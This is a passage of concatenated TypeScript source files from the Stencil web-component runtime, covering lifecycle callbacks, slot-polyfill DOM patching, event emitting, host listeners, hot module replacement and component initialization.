fireConnectedCallback(hostRef.$lazyInstance$, elm); } else if (hostRef?.$onReadyPromise$) { hostRef.$onReadyPromise$.then(() => fireConnectedCallback(hostRef.$lazyInstance$, elm)); } } endConnected(); } }; const setContentReference = (elm: d.HostElement) => { if (!win.document) { return; } // only required when we're NOT using native shadow dom (slot) // or this browser doesn't support native shadow dom // and this host element was NOT created with SSR // let's pick out the inner content for slot projection // create a node to represent where the original // content was first placed, which is useful later on const contentRefElm = (elm['s-cr'] = win.document.createComment( BUILD.isDebug ? `content-ref (host=${elm.localName})` : '', ) as any); contentRefElm['s-cn'] = true; insertBefore(elm, contentRefElm, elm.firstChild as d.RenderNode); }; ================================================ FILE: src/runtime/disconnected-callback.ts ================================================ import { BUILD } from '@app-data'; import { getHostRef, plt } from '@platform'; import type * as d from '../declarations'; import { PLATFORM_FLAGS } from './runtime-constants'; import { rootAppliedStyles } from './styles'; import { safeCall } from './update-component'; const disconnectInstance = (instance: any, elm?: d.HostElement) => { if (BUILD.lazyLoad) { safeCall(instance, 'disconnectedCallback', undefined, elm || instance); } }; export const disconnectedCallback = async (elm: d.HostElement) => { if ((plt.$flags$ & PLATFORM_FLAGS.isTmpDisconnected) === 0) { const hostRef = getHostRef(elm); if (BUILD.hostListener) { if (hostRef?.$rmListeners$) { hostRef.$rmListeners$.map((rmListener) => rmListener()); hostRef.$rmListeners$ = undefined; } } if (!BUILD.lazyLoad) { disconnectInstance(elm); } else if (hostRef?.$lazyInstance$) { disconnectInstance(hostRef.$lazyInstance$, elm); } else if (hostRef?.$onReadyPromise$) { hostRef.$onReadyPromise$.then(() => disconnectInstance(hostRef.$lazyInstance$, elm)); } } /** * Remove the element from the `rootAppliedStyles` WeakMap */ if (rootAppliedStyles.has(elm)) { rootAppliedStyles.delete(elm); } /** * Remove the shadow root from the `rootAppliedStyles` WeakMap */ if (elm.shadowRoot && rootAppliedStyles.has(elm.shadowRoot as unknown as Element)) { rootAppliedStyles.delete(elm.shadowRoot as unknown as Element); } }; ================================================ FILE: src/runtime/dom-extras.ts ================================================ import { BUILD } from '@app-data'; import { supportsShadow } from '@platform'; import type * as d from '../declarations'; import { addSlotRelocateNode, dispatchSlotChangeEvent, findSlotFromSlottedNode, getHostSlotNodes, getSlotChildSiblings, getSlotName, getSlottedChildNodes, updateFallbackSlotVisibility, } from './slot-polyfill-utils'; /// HOST ELEMENTS /// export const patchPseudoShadowDom = (hostElementPrototype: HTMLElement) => { patchCloneNode(hostElementPrototype); patchSlotAppendChild(hostElementPrototype); patchSlotAppend(hostElementPrototype); patchSlotPrepend(hostElementPrototype); patchSlotInsertAdjacentElement(hostElementPrototype); patchSlotInsertAdjacentHTML(hostElementPrototype); patchSlotInsertAdjacentText(hostElementPrototype); patchInsertBefore(hostElementPrototype); patchTextContent(hostElementPrototype); patchChildSlotNodes(hostElementPrototype); patchSlotRemoveChild(hostElementPrototype); }; /** * Patches the `cloneNode` method on a `scoped` Stencil component. * * @param HostElementPrototype The Stencil component to be patched */ export const patchCloneNode = (HostElementPrototype: any) => { if (HostElementPrototype.__cloneNode) return; const orgCloneNode = (HostElementPrototype.__cloneNode = HostElementPrototype.cloneNode); HostElementPrototype.cloneNode = function (deep?: boolean) { const srcNode = this; const isShadowDom = BUILD.shadowDom ? srcNode.shadowRoot && supportsShadow : false; const clonedNode = orgCloneNode.call(srcNode, isShadowDom ? deep : false) as Node; if (BUILD.slot && !isShadowDom && deep) { let i = 0; let slotted, nonStencilNode; const stencilPrivates = [ 's-id', 's-cr', 's-lr', 's-rc', 's-sc', 's-p', 's-cn', 's-sr', 's-sn', 's-hn', 's-ol', 's-nr', 's-si', 's-rf', 's-scs', ]; const childNodes = (this as any).__childNodes || this.childNodes; for (; i < childNodes.length; i++) { slotted = (childNodes[i] as any)['s-nr']; nonStencilNode = stencilPrivates.every((privateField) => !(childNodes[i] as any)[privateField]); if (slotted) { if (BUILD.appendChildSlotFix && (clonedNode as any).__appendChild) { (clonedNode as any).__appendChild(slotted.cloneNode(true)); } else { clonedNode.appendChild(slotted.cloneNode(true)); } } if (nonStencilNode) { clonedNode.appendChild((childNodes[i] as any).cloneNode(true)); } } } return clonedNode; }; }; /** * Patches the `appendChild` method on a `scoped` Stencil component. * The patch will attempt to find a slot with the same name as the node being appended * and insert it into the slot reference if found. Otherwise, it falls-back to the original * `appendChild` method. * * @param HostElementPrototype The Stencil component to be patched */ export const patchSlotAppendChild = (HostElementPrototype: any) => { if (HostElementPrototype.__appendChild) return; HostElementPrototype.__appendChild = HostElementPrototype.appendChild; HostElementPrototype.appendChild = function (this: d.RenderNode, newChild: d.RenderNode) { const { slotName, slotNode } = findSlotFromSlottedNode(newChild, this); if (slotNode) { addSlotRelocateNode(newChild, slotNode); const slotChildNodes = getSlotChildSiblings(slotNode, slotName); const appendAfter = slotChildNodes[slotChildNodes.length - 1]; const parent = internalCall(appendAfter, 'parentNode') as d.RenderNode; const insertedNode: d.RenderNode = internalCall(parent, 'insertBefore')(newChild, appendAfter.nextSibling); dispatchSlotChangeEvent(slotNode); // Check if there is fallback content that should be hidden updateFallbackSlotVisibility(this); return insertedNode; } return (this as any).__appendChild(newChild); }; }; /** * Patches the `removeChild` method on a `scoped` Stencil component. * This patch attempts to remove the specified node from a slot reference * if the slot exists. Otherwise, it falls-back to the original `removeChild` method. * * @param ElementPrototype The Stencil component to be patched */ const patchSlotRemoveChild = (ElementPrototype: any) => { if (ElementPrototype.__removeChild) return; ElementPrototype.__removeChild = ElementPrototype.removeChild; ElementPrototype.removeChild = function (this: d.RenderNode, toRemove: d.RenderNode) { if (toRemove && typeof toRemove['s-sn'] !== 'undefined') { const childNodes = (this as any).__childNodes || this.childNodes; const slotNode = getHostSlotNodes(childNodes, this.tagName, toRemove['s-sn']); if (slotNode && toRemove.isConnected) { toRemove.remove(); // Check if there is fallback content that should be displayed if that // was the last node in the slot updateFallbackSlotVisibility(this); return; } } return (this as any).__removeChild(toRemove); }; }; /** * Patches the `prepend` method for a slotted node inside a scoped component. * * @param HostElementPrototype the `Element` to be patched */ export const patchSlotPrepend = (HostElementPrototype: HTMLElement) => { if ((HostElementPrototype as any).__prepend) return; (HostElementPrototype as any).__prepend = HostElementPrototype.prepend; HostElementPrototype.prepend = function (this: d.HostElement, ...newChildren: (d.RenderNode | string)[]) { newChildren.forEach((newChild: d.RenderNode | string) => { if (typeof newChild === 'string') { newChild = this.ownerDocument.createTextNode(newChild) as unknown as d.RenderNode; } const slotName = (newChild['s-sn'] = getSlotName(newChild)) || ''; const childNodes = internalCall(this, 'childNodes'); const slotNode = getHostSlotNodes(childNodes, this.tagName, slotName)[0]; if (slotNode) { addSlotRelocateNode(newChild, slotNode, true); const slotChildNodes = getSlotChildSiblings(slotNode, slotName); const appendAfter = slotChildNodes[0]; const parent = internalCall(appendAfter, 'parentNode') as d.RenderNode; const toReturn = internalCall(parent, 'insertBefore')(newChild, internalCall(appendAfter, 'nextSibling')); dispatchSlotChangeEvent(slotNode); return toReturn; } if (newChild.nodeType === 1 && !!newChild.getAttribute('slot')) { newChild.hidden = true; } return (HostElementPrototype as any).__prepend(newChild); }); }; }; /** * Patches the `append` method for a slotted node inside a scoped component. The patched method uses * `appendChild` under-the-hood while creating text nodes for any new children that passed as bare strings. * * @param HostElementPrototype the `Element` to be patched */ export const patchSlotAppend = (HostElementPrototype: HTMLElement) => { if ((HostElementPrototype as any).__append) return; (HostElementPrototype as any).__append = HostElementPrototype.append; HostElementPrototype.append = function (this: d.HostElement, ...newChildren: (d.RenderNode | string)[]) { newChildren.forEach((newChild: d.RenderNode | string) => { if (typeof newChild === 'string') { newChild = this.ownerDocument.createTextNode(newChild) as unknown as d.RenderNode; } this.appendChild(newChild); }); }; }; /** * Patches the `insertAdjacentHTML` method for a slotted node inside a scoped component. Specifically, * we only need to patch the behavior for the specific `beforeend` and `afterbegin` positions so the element * gets inserted into the DOM in the correct location. * * @param HostElementPrototype the `Element` to be patched */ export const patchSlotInsertAdjacentHTML = (HostElementPrototype: HTMLElement) => { if ((HostElementPrototype as any).__insertAdjacentHTML) return; const originalInsertAdjacentHtml = HostElementPrototype.insertAdjacentHTML; HostElementPrototype.insertAdjacentHTML = function (this: d.HostElement, position: InsertPosition, text: string) { if (position !== 'afterbegin' && position !== 'beforeend') { return originalInsertAdjacentHtml.call(this, position, text); } const container = this.ownerDocument.createElement('_'); let node: d.RenderNode; container.innerHTML = text; if (position === 'afterbegin') { while ((node = container.firstChild as d.RenderNode)) { this.prepend(node); } } else if (position === 'beforeend') { while ((node = container.firstChild as d.RenderNode)) { this.append(node); } } }; }; /** * Patches the `insertAdjacentText` method for a slotted node inside a scoped component. Specifically, * we only need to patch the behavior for the specific `beforeend` and `afterbegin` positions so the text node * gets inserted into the DOM in the correct location. * * @param HostElementPrototype the `Element` to be patched */ export const patchSlotInsertAdjacentText = (HostElementPrototype: HTMLElement) => { HostElementPrototype.insertAdjacentText = function (this: d.HostElement, position: InsertPosition, text: string) { this.insertAdjacentHTML(position, text); }; }; /** * Patches the `insertBefore` of a non-shadow component. * * The *current* node to insert before may not be in the root of our component * (e.g. if it's 'slotted' it appears in the root, but isn't really) * * This tries to find where the *current* node lives within the component and insert the new node before it * *If* the new node is in the same slot as the *current* node. Otherwise the new node is appended to it's 'slot' * * @param HostElementPrototype the custom element prototype to patch */ const patchInsertBefore = (HostElementPrototype: HTMLElement) => { if ((HostElementPrototype as any).__insertBefore) return; const eleProto: d.RenderNode = HostElementPrototype; if (eleProto.__insertBefore) return; eleProto.__insertBefore = HostElementPrototype.insertBefore; HostElementPrototype.insertBefore = function ( this: d.RenderNode, newChild: T, currentChild: d.RenderNode | null, ) { const { slotName, slotNode } = findSlotFromSlottedNode(newChild, this); const slottedNodes = this.__childNodes ? this.childNodes : getSlottedChildNodes(this.childNodes); if (slotNode) { let found = false; slottedNodes.forEach((childNode) => { if (childNode === currentChild || currentChild === null) { // we found the node to insert before in our list of 'lightDOM' / slotted nodes found = true; if (currentChild === null || slotName !== currentChild['s-sn']) { // new child is not in the same slot as 'slot before' node // so let's use the patched appendChild method. This will correctly slot the node this.appendChild(newChild); return; } if (slotName === currentChild['s-sn']) { // current child ('slot before' node) is 'in' the same slot addSlotRelocateNode(newChild, slotNode); const parent = internalCall(currentChild, 'parentNode') as d.RenderNode; internalCall(parent, 'insertBefore')(newChild, currentChild); dispatchSlotChangeEvent(slotNode); } return; } }); if (found) return newChild; } /** * Fixes an issue where slotted elements are dynamically relocated in React, such as after data fetch. * * When a slotted element is passed to another scoped component (e.g., ), * the child’s __parentNode (original parent node property) does not match this. * * To prevent errors, this checks if the current child's parent node differs from this. * If so, appendChild(newChild) is called to ensure the child is correctly inserted, * allowing Stencil to properly manage the slot placement. */ const parentNode = (currentChild as d.PatchedSlotNode)?.__parentNode; if (parentNode && !this.isSameNode(parentNode)) { return this.appendChild(newChild); } return (this as d.RenderNode).__insertBefore(newChild, currentChild); }; }; /** * Patches the `insertAdjacentElement` method for a slotted node inside a scoped component. Specifically, * we only need to patch the behavior for the specific `beforeend` and `afterbegin` positions so the element * gets inserted into the DOM in the correct location. * * @param HostElementPrototype the `Element` to be patched */ export const patchSlotInsertAdjacentElement = (HostElementPrototype: HTMLElement) => { if ((HostElementPrototype as any).__insertAdjacentElement) return; const originalInsertAdjacentElement = HostElementPrototype.insertAdjacentElement; HostElementPrototype.insertAdjacentElement = function ( this: d.HostElement, position: InsertPosition, element: d.RenderNode, ): Element { if (position !== 'afterbegin' && position !== 'beforeend') { return originalInsertAdjacentElement.call(this, position, element); } if (position === 'afterbegin') { this.prepend(element); return element; } else if (position === 'beforeend') { this.append(element); return element; } return element; }; }; /** * Patches the `textContent` of an unnamed slotted node inside a scoped component * * @param hostElementPrototype the `Element` to be patched */ export const patchTextContent = (hostElementPrototype: HTMLElement): void => { patchHostOriginalAccessor('textContent', hostElementPrototype); Object.defineProperty(hostElementPrototype, 'textContent', { get: function () { let text = ''; const childNodes = this.__childNodes ? this.childNodes : getSlottedChildNodes(this.childNodes); childNodes.forEach((node: d.RenderNode) => (text += node.textContent || '')); return text; }, set: function (value) { const childNodes = this.__childNodes ? this.childNodes : getSlottedChildNodes(this.childNodes); childNodes.forEach((node: d.RenderNode) => { if (node['s-ol']) node['s-ol'].remove(); node.remove(); }); this.insertAdjacentHTML('beforeend', value); }, }); }; export const patchChildSlotNodes = (elm: HTMLElement) => { class FakeNodeList extends Array { item(n: number) { return this[n]; } } patchHostOriginalAccessor('children', elm); Object.defineProperty(elm, 'children', { get() { return this.childNodes.filter((n: any) => n.nodeType === 1); }, }); Object.defineProperty(elm, 'childElementCount', { get() { return this.children.length; }, }); patchHostOriginalAccessor('firstChild', elm); Object.defineProperty(elm, 'firstChild', { get() { return this.childNodes[0]; }, }); patchHostOriginalAccessor('lastChild', elm); Object.defineProperty(elm, 'lastChild', { get() { return this.childNodes[this.childNodes.length - 1]; }, }); patchHostOriginalAccessor('childNodes', elm); Object.defineProperty(elm, 'childNodes', { get() { const result = new FakeNodeList(); result.push(...getSlottedChildNodes(this.__childNodes)); return result; }, }); }; /// SLOTTED NODES /// /** * Patches sibling accessors of a 'slotted' node within a non-shadow component. * Meaning whilst stepping through a non-shadow element's nodes, only the mock 'lightDOM' nodes are returned. * Especially relevant when rendering components via SSR... Frameworks will often try to reconcile their * VDOM with the real DOM by stepping through nodes with 'nextSibling' et al. * - `nextSibling` * - `nextElementSibling` * - `previousSibling` * - `previousElementSibling` * * @param node the slotted node to be patched */ export const patchSlottedNode = (node: Node) => { if (!node || (node as any).__nextSibling !== undefined || !globalThis.Node) return; patchNextSibling(node); patchPreviousSibling(node); patchParentNode(node); if (node.nodeType === Node.ELEMENT_NODE) { patchNextElementSibling(node as Element); patchPreviousElementSibling(node as Element); } }; /** * Patches the `nextSibling` accessor of a non-shadow slotted node * * @param node the slotted node to be patched */ const patchNextSibling = (node: Node) => { // already been patched? return if (!node || (node as any).__nextSibling) return; patchHostOriginalAccessor('nextSibling', node); Object.defineProperty(node, 'nextSibling', { get: function () { const parentNodes = this['s-ol']?.parentNode.childNodes; const index = parentNodes?.indexOf(this); if (parentNodes && index > -1) { return parentNodes[index + 1]; } return this.__nextSibling; }, }); }; /** * Patches the `nextElementSibling` accessor of a non-shadow slotted node * * @param element the slotted element node to be patched */ const patchNextElementSibling = (element: Element) => { if (!element || (element as any).__nextElementSibling) return; patchHostOriginalAccessor('nextElementSibling', element); Object.defineProperty(element, 'nextElementSibling', { get: function () { const parentEles = this['s-ol']?.parentNode.children; const index = parentEles?.indexOf(this); if (parentEles && index > -1) { return parentEles[index + 1]; } return this.__nextElementSibling; }, }); }; /** * Patches the `previousSibling` accessor of a non-shadow slotted node * * @param node the slotted node to be patched */ const patchPreviousSibling = (node: Node) => { if (!node || (node as any).__previousSibling) return; patchHostOriginalAccessor('previousSibling', node); Object.defineProperty(node, 'previousSibling', { get: function () { const parentNodes = this['s-ol']?.parentNode.childNodes; const index = parentNodes?.indexOf(this); if (parentNodes && index > -1) { return parentNodes[index - 1]; } return this.__previousSibling; }, }); }; /** * Patches the `previousElementSibling` accessor of a non-shadow slotted node * * @param element the slotted element node to be patched */ const patchPreviousElementSibling = (element: Element) => { if (!element || (element as any).__previousElementSibling) return; patchHostOriginalAccessor('previousElementSibling', element); Object.defineProperty(element, 'previousElementSibling', { get: function () { const parentNodes = this['s-ol']?.parentNode.children; const index = parentNodes?.indexOf(this); if (parentNodes && index > -1) { return parentNodes[index - 1]; } return this.__previousElementSibling; }, }); }; /** * Patches the `parentNode` accessor of a non-shadow slotted node * * @param node the slotted node to be patched */ export const patchParentNode = (node: Node) => { if (!node || (node as any).__parentNode) return; patchHostOriginalAccessor('parentNode', node); Object.defineProperty(node, 'parentNode', { get: function () { return this['s-ol']?.parentNode || this.__parentNode; }, set: function (value) { // mock-doc sets parentNode? this.__parentNode = value; }, }); }; /// UTILS /// const validElementPatches = ['children', 'nextElementSibling', 'previousElementSibling'] as const; const validNodesPatches = [ 'childNodes', 'firstChild', 'lastChild', 'nextSibling', 'previousSibling', 'textContent', 'parentNode', ] as const; /** * Patches a node or element; making it's original accessor method available under a new name. * e.g. `nextSibling` -> `__nextSibling` * * @param accessorName - the name of the accessor to patch * @param node - the node to patch */ function patchHostOriginalAccessor( accessorName: (typeof validElementPatches)[number] | (typeof validNodesPatches)[number], node: Node, ) { /** * skip this method if a component was imported from a non-browser environment */ if (!globalThis.Node || !globalThis.Element) { return; } let accessor; if (validElementPatches.includes(accessorName as any)) { accessor = Object.getOwnPropertyDescriptor(Element.prototype, accessorName); } else if (validNodesPatches.includes(accessorName as any)) { accessor = Object.getOwnPropertyDescriptor(Node.prototype, accessorName); } if (!accessor) { // for mock-doc accessor = Object.getOwnPropertyDescriptor(node, accessorName); } if (accessor) Object.defineProperty(node, '__' + accessorName, accessor); } /** * Get the original / internal accessor or method of a node or element. * * @param node - the node to get the accessor from * @param method - the name of the accessor to get * * @returns the original accessor or method of the node */ export function internalCall(node: T, method: P): T[P] { if ('__' + method in node) { const toReturn = node[('__' + method) as keyof d.RenderNode] as T[P]; if (typeof toReturn !== 'function') return toReturn; return toReturn.bind(node) as T[P]; } else { if (typeof node[method] !== 'function') return node[method]; return node[method].bind(node) as T[P]; } } ================================================ FILE: src/runtime/element.ts ================================================ import { BUILD } from '@app-data'; import { getHostRef } from '@platform'; import type * as d from '../declarations'; export const getElement = (ref: any) => (BUILD.lazyLoad ? getHostRef(ref)?.$hostElement$ : (ref as d.HostElement)); ================================================ FILE: src/runtime/event-emitter.ts ================================================ import { BUILD } from '@app-data'; import { consoleDevWarn, plt } from '@platform'; import type * as d from '../declarations'; import { EVENT_FLAGS } from '../utils/constants'; import { getElement } from './element'; export const createEvent = (ref: d.RuntimeRef, name: string, flags: number) => { const elm = getElement(ref) as HTMLElement; return { emit: (detail: any) => { if (BUILD.isDev && !elm.isConnected) { consoleDevWarn(`The "${name}" event was emitted, but the dispatcher node is no longer connected to the dom.`); } return emitEvent(elm, name, { bubbles: !!(flags & EVENT_FLAGS.Bubbles), composed: !!(flags & EVENT_FLAGS.Composed), cancelable: !!(flags & EVENT_FLAGS.Cancellable), detail, }); }, }; }; /** * Helper function to create & dispatch a custom Event on a provided target * @param elm the target of the Event * @param name the name to give the custom Event * @param opts options for configuring a custom Event * @returns the custom Event */ export const emitEvent = (elm: EventTarget, name: string, opts?: CustomEventInit) => { const ev = plt.ce(name, opts); elm.dispatchEvent(ev); return ev; }; ================================================ FILE: src/runtime/fragment.ts ================================================ import { FunctionalComponent } from '../declarations/stencil-public-runtime'; export const Fragment: FunctionalComponent = (_, children: any) => children; ================================================ FILE: src/runtime/hmr-component.ts ================================================ import { getHostRef } from '@platform'; import type * as d from '../declarations'; import { HOST_FLAGS } from '../utils/constants'; import { initializeComponent } from './initialize-component'; /** * Kick off hot-module-replacement for a component. In order to replace the * component in-place we: * * 1. get a reference to the {@link d.HostRef} for the element * 2. reset the element's runtime flags * 3. re-run the initialization logic for the element (via * {@link initializeComponent}) * * @param hostElement the host element for the component which we want to start * doing HMR * @param cmpMeta runtime metadata for the component * @param hmrVersionId the current HMR version ID */ export const hmrStart = (hostElement: d.HostElement, cmpMeta: d.ComponentRuntimeMeta, hmrVersionId: string) => { // ¯\_(ツ)_/¯ const hostRef = getHostRef(hostElement); if (!hostRef) { return; } // reset state flags to only have been connected hostRef.$flags$ = HOST_FLAGS.hasConnected; // TODO // detach any event listeners that may have been added // because we're not passing an exact event name it'll // remove all of this element's event, which is good // re-initialize the component initializeComponent(hostElement, hostRef, cmpMeta, hmrVersionId); }; ================================================ FILE: src/runtime/host-listener.ts ================================================ import { BUILD } from '@app-data'; import { consoleError, plt, supportsListenerOptions, win } from '@platform'; import type * as d from '../declarations'; import { HOST_FLAGS, LISTENER_FLAGS } from '../utils/constants'; export const addHostEventListeners = ( elm: d.HostElement, hostRef: d.HostRef, listeners?: d.ComponentRuntimeHostListener[], attachParentListeners?: boolean, ) => { if (BUILD.hostListener && listeners && win.document) { // this is called immediately within the element's constructor // initialize our event listeners on the host element // we do this now so that we can listen to events that may // have fired even before the instance is ready if (BUILD.hostListenerTargetParent) { // this component may have event listeners that should be attached to the parent if (attachParentListeners) { // this is being ran from within the connectedCallback // which is important so that we know the host element actually has a parent element // filter out the listeners to only have the ones that ARE being attached to the parent listeners = listeners.filter(([flags]) => flags & LISTENER_FLAGS.TargetParent); } else { // this is being ran from within the component constructor // everything BUT the parent element listeners should be attached at this time // filter out the listeners that are NOT being attached to the parent listeners = listeners.filter(([flags]) => !(flags & LISTENER_FLAGS.TargetParent)); } } listeners.map(([flags, name, method]) => { const target = BUILD.hostListenerTarget ? getHostListenerTarget(win.document, elm, flags) : elm; const handler = hostListenerProxy(hostRef, method); const opts = hostListenerOpts(flags); plt.ael(target, name, handler, opts); (hostRef.$rmListeners$ = hostRef.$rmListeners$ || []).push(() => plt.rel(target, name, handler, opts)); }); } }; const hostListenerProxy = (hostRef: d.HostRef, methodName: string) => (ev: Event) => { try { if (BUILD.lazyLoad) { if (hostRef.$flags$ & HOST_FLAGS.isListenReady) { // instance is ready, let's call it's member method for this event hostRef.$lazyInstance$?.[methodName](ev); } else { (hostRef.$queuedListeners$ = hostRef.$queuedListeners$ || []).push([methodName, ev]); } } else { (hostRef.$hostElement$ as any)[methodName](ev); } } catch (e) { consoleError(e, hostRef.$hostElement$); } }; const getHostListenerTarget = (doc: Document, elm: Element, flags: number): EventTarget => { if (BUILD.hostListenerTargetDocument && flags & LISTENER_FLAGS.TargetDocument) { return doc; } if (BUILD.hostListenerTargetWindow && flags & LISTENER_FLAGS.TargetWindow) { return win; } if (BUILD.hostListenerTargetBody && flags & LISTENER_FLAGS.TargetBody) { return doc.body; } if (BUILD.hostListenerTargetParent && flags & LISTENER_FLAGS.TargetParent && elm.parentElement) { return elm.parentElement; } return elm; }; // prettier-ignore const hostListenerOpts = (flags: number) => supportsListenerOptions ? ({ passive: (flags & LISTENER_FLAGS.Passive) !== 0, capture: (flags & LISTENER_FLAGS.Capture) !== 0, }) : (flags & LISTENER_FLAGS.Capture) !== 0; ================================================ FILE: src/runtime/index.ts ================================================ export { getAssetPath, setAssetPath } from './asset-path'; export { defineCustomElement, forceModeUpdate, proxyCustomElement } from './bootstrap-custom-element'; export { bootstrapLazy } from './bootstrap-lazy'; export { connectedCallback } from './connected-callback'; export { disconnectedCallback } from './disconnected-callback'; export { getElement } from './element'; export { createEvent } from './event-emitter'; export { Fragment } from './fragment'; export { addHostEventListeners } from './host-listener'; export { Mixin } from './mixin'; export { getMode, setMode } from './mode'; export { setNonce } from './nonce'; export { parsePropertyValue } from './parse-property-value'; export { setPlatformOptions } from './platform-options'; export { proxyComponent } from './proxy-component'; export { render } from './render'; export { HYDRATED_STYLE_ID } from './runtime-constants'; export { getValue, setValue } from './set-value'; export { setTagTransformer, transformTag } from './tag-transform'; export { forceUpdate, getRenderingRef, postUpdateComponent } from './update-component'; export { h, Host } from './vdom/h'; export { jsxDEV } from './vdom/jsx-dev-runtime'; export { jsx, jsxs } from './vdom/jsx-runtime'; export { insertVdomAnnotations } from './vdom/vdom-annotations'; export { renderVdom } from './vdom/vdom-render'; ================================================ FILE: src/runtime/initialize-component.ts ================================================ import { BUILD } from '@app-data'; import { consoleError, loadModule, needsScopedSSR, styles } from '@platform'; import type * as d from '../declarations'; import { CMP_FLAGS, HOST_FLAGS } from '../utils/constants'; import { expandPartSelectors, scopeCss } from '../utils/shadow-css'; import { computeMode } from './mode'; import { createTime, uniqueTime } from './profile'; import { proxyComponent } from './proxy-component'; import { PROXY_FLAGS } from './runtime-constants'; import { getScopeId, registerStyle } from './styles'; import { safeCall, scheduleUpdate } from './update-component'; /** * Initialize a Stencil component given a reference to its host element, its * runtime bookkeeping data structure, runtime metadata about the component, * and (optionally) an HMR version ID. * * @param elm a host element * @param hostRef the element's runtime bookkeeping object * @param cmpMeta runtime metadata for the Stencil component * @param hmrVersionId an (optional) HMR version ID */ export const initializeComponent = async ( elm: d.HostElement, hostRef: d.HostRef, cmpMeta: d.ComponentRuntimeMeta, hmrVersionId?: string, ) => { let Cstr: d.ComponentConstructor | undefined; // initializeComponent try { if ((hostRef.$flags$ & HOST_FLAGS.hasInitializedComponent) === 0) { // Let the runtime know that the component has been initialized hostRef.$flags$ |= HOST_FLAGS.hasInitializedComponent; const bundleId = cmpMeta.$lazyBundleId$; if (BUILD.lazyLoad && bundleId) { // lazy loaded components // request the component's implementation to be // wired up with the host element const CstrImport = loadModule(cmpMeta, hostRef, hmrVersionId); if (CstrImport && 'then' in CstrImport) { // Await creates a micro-task avoid if possible const endLoad = uniqueTime( `st:load:${cmpMeta.$tagName$}:${hostRef.$modeName$}`, `[Stencil] Load module for <${cmpMeta.$tagName$}>`, ); Cstr = await CstrImport; endLoad(); } else { Cstr = CstrImport as d.ComponentConstructor | undefined; } if (!Cstr) { throw new Error(`Constructor for "${cmpMeta.$tagName$}#${hostRef.$modeName$}" was not found`); } if (BUILD.member && !Cstr.isProxied) { // we've never proxied this Constructor before // let's add the getters/setters to its prototype before // the first time we create an instance of the implementation if (BUILD.propChangeCallback) { cmpMeta.$watchers$ = Cstr.watchers; cmpMeta.$serializers$ = Cstr.serializers; cmpMeta.$deserializers$ = Cstr.deserializers; } proxyComponent(Cstr, cmpMeta, PROXY_FLAGS.proxyState); Cstr.isProxied = true; } const endNewInstance = createTime('createInstance', cmpMeta.$tagName$); // ok, time to construct the instance // but let's keep track of when we start and stop // so that the getters/setters don't incorrectly step on data if (BUILD.member) { hostRef.$flags$ |= HOST_FLAGS.isConstructingInstance; } // construct the lazy-loaded component implementation // passing the hostRef is very important during // construction in order to directly wire together the // host element and the lazy-loaded instance try { new (Cstr as any)(hostRef); } catch (e) { consoleError(e, elm); } if (BUILD.member) { hostRef.$flags$ &= ~HOST_FLAGS.isConstructingInstance; } if (BUILD.propChangeCallback) { hostRef.$flags$ |= HOST_FLAGS.isWatchReady; } endNewInstance(); // For components that relocate slots, defer connectedCallback until after first render // so that slotted content is available const needsDeferredCallback = BUILD.slotRelocation && cmpMeta.$flags$ & CMP_FLAGS.hasSlotRelocation; if (!needsDeferredCallback) { fireConnectedCallback(hostRef.$lazyInstance$, elm); } else { hostRef.$deferredConnectedCallback$ = true; } } else { // sync constructor component Cstr = elm.constructor as any; /** * Instead of using e.g. `cmpMeta.$tagName$` we use `elm.localName` to get the tag name of the component. * This is because we can't guarantee that the component class is actually registered with the tag name * defined in the component class as users can very well also do this: * * ```html * * ``` */ const cmpTag = elm.localName; // wait for the CustomElementRegistry to mark the component as ready before setting `isWatchReady`. Otherwise, // watchers may fire prematurely if `customElements.get()`/`customElements.whenDefined()` resolves _before_ // Stencil has completed instantiating the component. customElements.whenDefined(cmpTag).then(() => (hostRef.$flags$ |= HOST_FLAGS.isWatchReady)); } if (BUILD.style && Cstr && Cstr.style) { /** * this component has styles but we haven't registered them yet */ let style: string | undefined; if (typeof Cstr.style === 'string') { /** * in case the component has a `styleUrl` defined, e.g. * ```ts * @Component({ * tag: 'my-component', * styleUrl: 'my-component.css' * }) * ``` */ style = Cstr.style; } else if (BUILD.mode && typeof Cstr.style !== 'string') { /** * in case the component has a `styleUrl` object defined, e.g. * ```ts * @Component({ * tag: 'my-component', * styleUrl: { * ios: 'my-component.ios.css', * md: 'my-component.md.css' * } * }) * ``` */ hostRef.$modeName$ = computeMode(elm) as string | undefined; if (hostRef.$modeName$) { style = Cstr.style[hostRef.$modeName$]; } if (BUILD.hydrateServerSide && hostRef.$modeName$) { elm.setAttribute('s-mode', hostRef.$modeName$); } } const scopeId = getScopeId(cmpMeta, hostRef.$modeName$); // Always re-register styles during HMR to pick up inline style changes if (!styles.has(scopeId) || (BUILD.hotModuleReplacement && hmrVersionId)) { const endRegisterStyles = createTime('registerStyles', cmpMeta.$tagName$); if (BUILD.hydrateServerSide && BUILD.shadowDom) { if (cmpMeta.$flags$ & CMP_FLAGS.shadowNeedsScopedCss) { style = scopeCss(style, scopeId, true); } else if (needsScopedSSR()) { style = expandPartSelectors(style); } } registerStyle(scopeId, style, !!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation)); endRegisterStyles(); } } } // we've successfully created a lazy instance const ancestorComponent = hostRef.$ancestorComponent$; const schedule = () => scheduleUpdate(hostRef, true); if (BUILD.asyncLoading && ancestorComponent && ancestorComponent['s-rc']) { // this is the initial load and this component it has an ancestor component // but the ancestor component has NOT fired its will update lifecycle yet // so let's just cool our jets and wait for the ancestor to continue first // this will get fired off when the ancestor component // finally gets around to rendering its lazy self // fire off the initial update ancestorComponent['s-rc'].push(schedule); } else { schedule(); } } catch (e) { consoleError(e, elm); // Ensure we release the parent component even if this child failed to initialize. // Without this, a failed child would cause its parent to hang forever waiting // for all children to resolve before completing hydration. if (BUILD.asyncLoading && hostRef.$onRenderResolve$) { hostRef.$onRenderResolve$(); hostRef.$onRenderResolve$ = undefined; } // Also resolve the component's ready promise so any code waiting on // componentOnReady() doesn't hang forever if (BUILD.asyncLoading && hostRef.$onReadyResolve$) { hostRef.$onReadyResolve$(elm); } } }; export const fireConnectedCallback = (instance: any, elm?: HTMLElement) => { if (BUILD.lazyLoad) { safeCall(instance, 'connectedCallback', undefined, elm); } }; ================================================ FILE: src/runtime/mixin.ts ================================================ import { BUILD } from '@app-data'; type Ctor = new (...args: any[]) => T; const baseClass: Ctor = BUILD.lazyLoad ? class {} : globalThis.HTMLElement || class {}; export function Mixin(...mixins: ((base: Ctor) => Ctor)[]) { return mixins.reduceRight((acc, mixin) => mixin(acc), baseClass); } ================================================ FILE: src/runtime/mode.ts ================================================ import { getHostRef, modeResolutionChain } from '@platform'; import type * as d from 